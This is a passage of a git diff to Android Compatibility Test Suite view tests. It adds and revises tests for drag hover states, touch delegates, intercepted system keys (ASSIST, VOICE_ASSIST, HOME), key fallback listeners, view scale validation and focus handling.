-                    android.R.attr.state_drag_hovered));
-            assertTrue(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_can_accept));
+            assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
+            assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
         });
 
         // Move mouse into the view.
         injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
         runOnMain(() -> {
-            assertTrue(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_hovered));
+            assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
         });
 
         // Move out.
         injectMouse5(R.id.subcontainer, MotionEvent.ACTION_MOVE);
         runOnMain(() -> {
-            assertFalse(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_hovered));
+            assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
         });
 
         // Move in.
         injectMouse5(R.id.inner, MotionEvent.ACTION_MOVE);
         runOnMain(() -> {
-            assertTrue(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_hovered));
+            assertTrue(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
         });
 
         // Release there.
         injectMouse5(R.id.inner, MotionEvent.ACTION_UP);
         runOnMain(() -> {
-            assertFalse(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_hovered));
+            assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
         });
     }
 }
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 0f2119e..2505111 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -426,7 +426,6 @@
 
         // While we don't want to test details, we should at least verify basic correctness
         // like "left-to-right" ordering in well-behaved layouts
-        assertEquals(mLayout.findFocus(), mTopLeft);
         verifyNextFocus(mTopLeft, View.FOCUS_FORWARD, mTopRight);
         verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
         verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
new file mode 100644
index 0000000..598552b
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Certain KeyEvents should never be delivered to apps. These keys are:
+ *      KEYCODE_ASSIST
+ *      KEYCODE_VOICE_ASSIST
+ *      KEYCODE_HOME
+ * This test launches an Activity and inject KeyEvents with the corresponding key codes.
+ * The test will fail if any of these keys are received by the activity.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class KeyEventInterceptTest {
+    private KeyEventInterceptTestActivity mActivity;
+    private Instrumentation mInstrumentation;
+
+    @Rule
+    public ActivityTestRule<KeyEventInterceptTestActivity> mActivityRule =
+            new ActivityTestRule<>(KeyEventInterceptTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+    }
+
+    @Test
+    public void testKeyCodeAssist() {
+        testKey(KeyEvent.KEYCODE_ASSIST);
+    }
+
+    @Test
+    public void testKeyCodeVoiceAssist() {
+        testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+    }
+
+    @Test
+    public void testKeyCodeHome() {
+        testKey(KeyEvent.KEYCODE_HOME);
+    }
+
+    private void testKey(int keyCode) {
+        sendKey(keyCode);
+        assertKeyNotReceived();
+    }
+
+    private void sendKey(int keyCodeToSend) {
+        long downTime = SystemClock.uptimeMillis();
+        injectEvent(new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                keyCodeToSend, 0, 0));
+        injectEvent(new KeyEvent(downTime, downTime + 1, KeyEvent.ACTION_UP,
+                keyCodeToSend, 0, 0));
+    }
+
+    private void injectEvent(KeyEvent event) {
+        final UiAutomation automation = mInstrumentation.getUiAutomation();
+        automation.injectInputEvent(event, true);
+        event.recycle();
+    }
+
+    private void assertKeyNotReceived() {
+        try {
+            KeyEvent keyEvent = mActivity.mKeyEvents.poll(1, TimeUnit.SECONDS);
+            if (keyEvent == null) {
+                return;
+            }
+            fail("Should not have received " + KeyEvent.keyCodeToString(keyEvent.getKeyCode()));
+        } catch (InterruptedException ex) {
+            fail("BlockingQueue.poll(..) was unexpectedly interrupted");
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
new file mode 100644
index 0000000..18e0713
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.view.KeyEvent;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingDeque;
+
+public class KeyEventInterceptTestActivity extends Activity {
+    final BlockingQueue<KeyEvent> mKeyEvents = new LinkedBlockingDeque<>();
+
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        mKeyEvents.add(event);
+        return true;
+    }
+
+    @Override
+    public boolean onKeyUp(int keyCode, KeyEvent event) {
+        // Check this in case some spurious event with ACTION_UP is received
+        mKeyEvents.add(event);
+        return true;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 1717763..c2c8e87 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -256,9 +256,6 @@
         injectLongClick(mTooltipView);
         assertFalse(hasTooltip(mTooltipView));
 
-        injectLongEnter(mTooltipView);
-        assertFalse(hasTooltip(mTooltipView));
-
         injectLongHoverMove(mTooltipView);
         assertFalse(hasTooltip(mTooltipView));
     }
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 1fd3d8c..8def4b0 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -16,24 +16,19 @@
 
 package android.view.cts;
 
-import static org.mockito.Matchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 
-import android.app.Activity;
 import android.app.Instrumentation;
+import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
 import android.view.MotionEvent;
-import android.view.TouchDelegate;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.LinearLayout;
+
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -44,37 +39,89 @@
 @RunWith(AndroidJUnit4.class)
 public class TouchDelegateTest {
     private Instrumentation mInstrumentation;
-    private Activity mActivity;
-    private Button mButton;
+    private TouchDelegateTestActivity mActivity;
 
     @Rule
-    public ActivityTestRule<MockActivity> mActivityRule =
-            new ActivityTestRule<>(MockActivity.class);
+    public ActivityTestRule<TouchDelegateTestActivity> mActivityRule =
+            new ActivityTestRule<>(TouchDelegateTestActivity.class);
 
     @Before
     public void setup() throws Throwable {
         mActivity = mActivityRule.getActivity();
+        mActivity.resetCounters();
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
-        mButton = new Button(mActivity);
-        mActivityRule.runOnUiThread(() -> mActivity.addContentView(
-                mButton, new LinearLayout.LayoutParams(
-                        ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)));
         mInstrumentation.waitForIdleSync();
     }
 
-    @UiThreadTest
     @Test
-    public void testOnTouchEvent() {
-        // test callback of onTouchEvent
-        final View view = new View(mActivity);
-        final TouchDelegate touchDelegate = mock(TouchDelegate.class);
-        view.setTouchDelegate(touchDelegate);
+    public void testParentClick() {
+        // If only clicking parent, button should not receive click
+        clickParent();
+        assertEquals(0, mActivity.getButtonClickCount());
+        assertEquals(1, mActivity.getParentClickCount());
 
-        final int xInside = (mButton.getLeft() + mButton.getRight()) / 3;
-        final int yInside = (mButton.getTop() + mButton.getBottom()) / 3;
+        // When clicking TouchDelegate area, both parent and button
+        // should receive DOWN and UP events. However, click will only be generated for the button
+        mActivity.resetCounters();
+        clickTouchDelegateArea();
+        assertEquals(1, mActivity.getButtonClickCount());
+        assertEquals(0, mActivity.getParentClickCount());
 
-        view.onTouchEvent(MotionEvent.obtain(0, 0, MotionEvent.ACTION_DOWN, xInside, yInside, 0));
-        verify(touchDelegate, times(1)).onTouchEvent(any(MotionEvent.class));
+        // Ensure parent can still receive clicks after TouchDelegate has been activated once
+        mActivity.resetCounters();
+        clickParent();
+        assertEquals(0, mActivity.getButtonClickCount());
+        assertEquals(1, mActivity.getParentClickCount());
+    }
+
+    @Test
+    public void testCancelEvent() {
+        // Ensure events with ACTION_CANCEL are received by the TouchDelegate
+        final long downTime = SystemClock.uptimeMillis();
+        dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, mActivity.touchDelegateY,
+                downTime);
+        dispatchMotionEventToActivity(MotionEvent.ACTION_CANCEL, mActivity.touchDelegateY,
+                downTime);
+        mInstrumentation.waitForIdleSync();
+
+        MotionEvent event = mActivity.removeOldestButtonEvent();
+        assertNotNull(event);
+        assertEquals(MotionEvent.ACTION_DOWN, event.getAction());
+        event.recycle();
+        event = mActivity.removeOldestButtonEvent();
+        assertNotNull(event);
+        assertEquals(MotionEvent.ACTION_CANCEL, event.getAction());
+        event.recycle();
+        assertNull(mActivity.removeOldestButtonEvent());
+        assertEquals(0, mActivity.getButtonClickCount());
+        assertEquals(0, mActivity.getParentClickCount());
+    }
+
+    private void clickParent() {
+        click(mActivity.parentViewY);
+    }
+
+    private void clickTouchDelegateArea() {
+        click(mActivity.touchDelegateY);
+    }
+
+    // Low-level input-handling functions for the activity
+
+    private void click(int y) {
+        final long downTime = SystemClock.uptimeMillis();
+        dispatchMotionEventToActivity(MotionEvent.ACTION_DOWN, y, downTime);
+        dispatchMotionEventToActivity(MotionEvent.ACTION_UP, y, downTime);
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void dispatchMotionEventToActivity(int action, int y, long downTime) {
+        mActivity.runOnUiThread(() -> {
+            final long eventTime = SystemClock.uptimeMillis();
+            final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
+                    mActivity.x, y, 0);
+            event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+            mActivity.dispatchTouchEvent(event);
+            event.recycle();
+        });
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
new file mode 100644
index 0000000..0f01a95
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTestActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.MotionEvent;
+import android.view.TouchDelegate;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.widget.Button;
+
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+/**
+ * The layout is:
+ *                                    |       <-- top edge of RelativeLayout (parent)
+ *                                    |
+ *                                    |
+ *                                    |       (touches in this region should go to parent only)
+ *                                    |
+ *                                    |
+ *                                    |       <-- TouchDelegate boundary
+ *                                    |
+ *                                    |
+ *                                    |       (touches in this region should go to button + parent)
+ *                                    |
+ *                                    |
+ *                                    |       <-- Button top boundary
+ *                                    |
+ */
+public class TouchDelegateTestActivity extends Activity {
+    // Counters for click events. Must use waitForIdleSync() before accessing these
+    private volatile int mParentClickCount = 0;
+    private volatile int mButtonClickCount = 0;
+    // Storage for MotionEvents received by the TouchDelegate
+    private Queue<MotionEvent> mButtonEvents = new ArrayDeque<>();
+
+    // Coordinates for injecting input events from the test
+    public int x; // common X coordinate for all input events - center of the screen
+    public int touchDelegateY; // Y coordinate for touches inside TouchDelegate area
+    public int parentViewY; // Y coordinate for touches inside parent area only
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.touch_delegate_test_activity_layout);
+
+        final Button button = findViewById(R.id.button);
+        final View parent = findViewById(R.id.layout);
+
+        parent.getViewTreeObserver().addOnGlobalLayoutListener(
+                new ViewTreeObserver.OnGlobalLayoutListener() {
+                    @Override
+                    public void onGlobalLayout() {
+                        final int[] parentLocation = new int[2];
+                        parent.getLocationOnScreen(parentLocation);
+                        final int[] buttonLocation = new int[2];
+                        button.getLocationOnScreen(buttonLocation);
+                        x = parentLocation[0] + parent.getWidth() / 2;
+                        final int gap = buttonLocation[1] - parentLocation[1];
+
+                        Rect rect = new Rect();
+                        button.getHitRect(rect);
+                        rect.top -= gap / 2; // TouchDelegate is halfway between button and parent
+                        parent.setTouchDelegate(new TouchDelegate(rect, button));
+                        touchDelegateY = buttonLocation[1] - gap / 4;
+                        parentViewY = parentLocation[1] + gap / 4;
+                    }
+                });
+
+        parent.setOnClickListener(v -> mParentClickCount++);
+        button.setOnClickListener(v -> mButtonClickCount++);
+        button.setOnTouchListener((v, event) -> {
+            mButtonEvents.add(MotionEvent.obtain(event));
+            return TouchDelegateTestActivity.super.onTouchEvent(event);
+        });
+    }
+
+    void resetCounters() {
+        mParentClickCount = 0;
+        mButtonClickCount = 0;
+        mButtonEvents.clear();
+    }
+
+    int getButtonClickCount() {
+        return mButtonClickCount;
+    }
+
+    int getParentClickCount() {
+        return mParentClickCount;
+    }
+
+    /**
+     * Remove and return the oldest MotionEvent. Caller must recycle the returned object.
+     * @return the oldest MotionEvent that the Button has received
+     */
+    MotionEvent removeOldestButtonEvent() {
+        return mButtonEvents.poll();
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index 774aadb..955cf7c 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -174,7 +174,7 @@
     }
 
     private void addMovement() {
-        if (mTime >= mLastTime) {
+        if (mTime > mLastTime) {
             MotionEvent ev = MotionEvent.obtain(0L, mTime, MotionEvent.ACTION_MOVE, mPx, mPy, 0);
             mVelocityTracker.addMovement(ev);
             ev.recycle();
@@ -201,9 +201,9 @@
         if (errorVx > tolerance || errorVy > tolerance) {
             fail(String.format("Velocity exceeds tolerance of %6.1f%%: "
                     + "expected vx=%6.1f, vy=%6.1f. "
-                    + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%)",
+                    + "actual vx=%6.1f (%6.1f%%), vy=%6.1f (%6.1f%%). %s",
                     tolerance * 100.0f, mVx, mVy,
-                    estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f));
+                    estimatedVx, errorVx * 100.0f, estimatedVy, errorVy * 100.0f, message));
         }
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 831aa15..fb823b9 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -99,6 +99,7 @@
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.LinearLayout;
+import android.widget.TextView;
 
 import com.android.compatibility.common.util.CtsMouseUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
@@ -133,6 +134,7 @@
     private ViewTestCtsActivity mActivity;
     private Resources mResources;
     private MockViewParent mMockParent;
+    private Context mContext;
 
     @Rule
     public ActivityTestRule<ViewTestCtsActivity> mActivityRule =
@@ -145,11 +147,13 @@
     @Before
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
         mActivity = mActivityRule.getActivity();
         PollingCheck.waitFor(mActivity::hasWindowFocus);
         mResources = mActivity.getResources();
         mMockParent = new MockViewParent(mActivity);
-        assertTrue(mActivity.waitForWindowFocus(5 * DateUtils.SECOND_IN_MILLIS));
+        PollingCheck.waitFor(5 * DateUtils.SECOND_IN_MILLIS, mActivity::hasWindowFocus);
+        assertTrue(mActivity.hasWindowFocus());
     }
 
     @Test
@@ -2385,6 +2389,109 @@
     }
 
     @Test
+    public void testKeyFallback() throws Throwable {
+        MockFallbackListener listener = new MockFallbackListener();
+        ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
+        // Attaching a fallback handler
+        TextView mockView1 = new TextView(mActivity);
+        mockView1.addKeyFallbackListener(listener);
+
+        // Before the view is attached, it shouldn't respond to anything
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertFalse(listener.fired());
+
+        // Once attached, it should start receiving fallback events
+        mActivityRule.runOnUiThread(() -> viewGroup.addView(mockView1));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertTrue(listener.fired());
+        listener.reset();
+
+        // If multiple on one view, last added should receive event first
+        MockFallbackListener listener2 = new MockFallbackListener();
+        listener2.mReturnVal = true;
+        mActivityRule.runOnUiThread(() -> mockView1.addKeyFallbackListener(listener2));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertTrue(listener2.fired());
+        assertFalse(listener.fired());
+        listener2.reset();
+
+        // If removed, it should not receive fallbacks anymore
+        mActivityRule.runOnUiThread(() -> {
+            mockView1.removeKeyFallbackListener(listener);
+            mockView1.removeKeyFallbackListener(listener2);
+        });
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertFalse(listener.fired());
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.key_fallback_layout));
+        mInstrumentation.waitForIdleSync();
+        View higherInNormal = mActivity.findViewById(R.id.higher_in_normal);
+        View higherGroup = mActivity.findViewById(R.id.higher_group);
+        View lowerInHigher = mActivity.findViewById(R.id.lower_in_higher);
+        View lastButton = mActivity.findViewById(R.id.last_button);
+        View lastInHigher = mActivity.findViewById(R.id.last_in_higher);
+        View lastInNormal = mActivity.findViewById(R.id.last_in_normal);
+
+        View[] allViews = new View[]{higherInNormal, higherGroup, lowerInHigher, lastButton,
+                lastInHigher, lastInNormal};
+
+        // Test ordering by depth
+        listener.mReturnVal = true;
+        mActivityRule.runOnUiThread(() -> {
+            for (View v : allViews) {
+                v.addKeyFallbackListener(listener);
+            }
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(lastInHigher, listener.mLastView);
+        listener.reset();
+
+        mActivityRule.runOnUiThread(() -> lastInHigher.removeKeyFallbackListener(listener));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(lowerInHigher, listener.mLastView);
+        listener.reset();
+
+        mActivityRule.runOnUiThread(() -> lowerInHigher.removeKeyFallbackListener(listener));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(higherGroup, listener.mLastView);
+        listener.reset();
+
+        mActivityRule.runOnUiThread(() -> higherGroup.removeKeyFallbackListener(listener));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(lastButton, listener.mLastView);
+        listener.reset();
+
+        mActivityRule.runOnUiThread(() -> lastButton.removeKeyFallbackListener(listener));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(higherInNormal, listener.mLastView);
+        listener.reset();
+
+        mActivityRule.runOnUiThread(() -> higherInNormal.removeKeyFallbackListener(listener));
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertEquals(lastInNormal, listener.mLastView);
+        listener.reset();
+
+        // Test "capture"
+        mActivityRule.runOnUiThread(() -> lastInNormal.requestFocus());
+        mInstrumentation.waitForIdleSync();
+        lastInNormal.setOnKeyListener((v, keyCode, event)
+                -> (keyCode == KeyEvent.KEYCODE_B && event.getAction() == KeyEvent.ACTION_UP));
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_B);
+        assertTrue(listener.fired()); // checks that both up and down were received
+        listener.reset();
+    }
+
+    @Test
     public void testWindowVisibilityChanged() throws Throwable {
         final MockView mockView = new MockView(mActivity);
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -4340,6 +4447,42 @@
         event.recycle();
     }
 
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleXNaN() {
+        View view = new View(mContext);
+        view.setScaleX(Float.NaN);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleXPositiveInfinity() {
+        View view = new View(mContext);
+        view.setScaleX(Float.POSITIVE_INFINITY);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleXNegativeInfinity() {
+        View view = new View(mContext);
+        view.setScaleX(Float.NEGATIVE_INFINITY);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleYNaN() {
+        View view = new View(mContext);
+        view.setScaleY(Float.NaN);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleYPositiveInfinity() {
+        View view = new View(mContext);
+        view.setScaleY(Float.POSITIVE_INFINITY);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testScaleYNegativeInfinity() {
+        View view = new View(mContext);
+        view.setScaleY(Float.NEGATIVE_INFINITY);
+    }
+
     private static class MockDrawable extends Drawable {
         private boolean mCalledSetTint = false;
 
@@ -4691,6 +4834,29 @@
         public View firstChild;
     }
 
+    private static class MockFallbackListener implements View.OnKeyFallbackListener {
+        public View mLastView = null;
+        public boolean mGotUp = false;
+        public boolean mReturnVal = false;
+
+        @Override
+        public boolean onKeyFallback(View v, KeyEvent event) {
+            if (event.getAction() == KeyEvent.ACTION_DOWN) {
+                mLastView = v;
+            } else if (event.getAction() == KeyEvent.ACTION_UP) {
+                mGotUp = true;
+            }
+            return mReturnVal;
+        }
+        public void reset() {
+            mLastView = null;
+            mGotUp = false;
+        }
+        public boolean fired() {
+            return mLastView != null && mGotUp;
+        }
+    }
+
     private static final Class<?> ASYNC_INFLATE_VIEWS[] = {
         android.app.FragmentBreadCrumbs.class,
 // DISABLED because it doesn't have a AppWidgetHostView(Context, AttributeSet)
diff --git a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
index 9766fa2..9117925 100644
--- a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
@@ -18,52 +18,13 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-import android.os.SystemClock;
-import android.util.Log;
 import android.view.cts.R;
 
 public class ViewTestCtsActivity extends Activity {
-    private boolean mHasWindowFocus = false;
-    private final Object mHasWindowFocusLock = new Object();
 
     @Override
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
         setContentView(R.layout.view_layout);
     }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        super.onWindowFocusChanged(hasFocus);
-        if (!hasFocus) {
-            Log.w("ViewTestCtsActivity", "ViewTestCtsActivity lost window focus");
-        }
-        synchronized(mHasWindowFocusLock) {
-            mHasWindowFocus = hasFocus;
-            mHasWindowFocusLock.notify();
-        }
-    }
-
-    /**
-     * Blocks the calling thread until the {@link ViewTestCtsActivity} has window focus or the
-     * specified duration (in milliseconds) has passed.
-     */
-    public boolean waitForWindowFocus(long durationMillis) {
-        long elapsedMillis = SystemClock.elapsedRealtime();
-        synchronized(mHasWindowFocusLock) {
-            mHasWindowFocus = hasWindowFocus();
-            while (!mHasWindowFocus && durationMillis > 0) {
-                long newElapsedMillis = SystemClock.elapsedRealtime();
-                durationMillis -= (newElapsedMillis - elapsedMillis);
-                elapsedMillis = newElapsedMillis;
-                if (durationMillis > 0) {
-                    try {
-                        mHasWindowFocusLock.wait(durationMillis);
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mHasWindowFocus;
-        }
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 21fdd89..ae780fb 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -227,6 +227,60 @@
 
     @UiThreadTest
     @Test
+    public void testEnabledHandling() {
+        Activity activity = mActivityRule.getActivity();
+
+        View v1 = activity.findViewById(R.id.view1);
+        View v2 = activity.findViewById(R.id.view2);
+        View v3 = activity.findViewById(R.id.view3);
+        View v4 = activity.findViewById(R.id.view4);
+
+        for (View v : new View[]{v1, v2, v3, v4}) v.setFocusable(true);
+
+        assertTrue(v1.requestFocus());
+
+        // disabled view should not be focusable
+        assertTrue(v1.hasFocus());
+        v1.setEnabled(false);
+        assertFalse(v1.hasFocus());
+        v1.requestFocus();
+        assertFalse(v1.hasFocus());
+        v1.setEnabled(true);
+        v1.requestFocus();
+        assertTrue(v1.hasFocus());
+
+        // an enabled view should not take focus if not visible OR not enabled
+        v1.setEnabled(false);
+        v1.setVisibility(View.INVISIBLE);
+        assertFalse(v1.hasFocus());
+        v1.setEnabled(true);
+        v1.requestFocus();
+        assertFalse(v1.hasFocus());
+        v1.setEnabled(false);
+        v1.setVisibility(View.VISIBLE);
+        v1.requestFocus();
+        assertFalse(v1.hasFocus());
+        v1.setEnabled(true);
+        v1.requestFocus();
+        assertTrue(v1.hasFocus());
+
+        // test hasFocusable
+        ViewGroup parent = (ViewGroup) v1.getParent();
+        assertTrue(parent.hasFocusable());
+        for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(false);
+        assertFalse(v1.isFocused());
+        assertFalse(v2.isFocused());
+        assertFalse(v3.isFocused());
+        assertFalse(v4.isFocused());
+        assertFalse(parent.hasFocusable());
+
+        // a view enabled while nothing has focus should get focus.
+        for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(true);
+        assertEquals(true, v1.isFocused());
+    }
+
+    @UiThreadTest
+    @Test
     public void testFocusAuto() {
         Activity activity = mActivityRule.getActivity();
 
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index 71ca678..f066898 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -29,6 +29,7 @@
 import android.view.textclassifier.TextClassification;
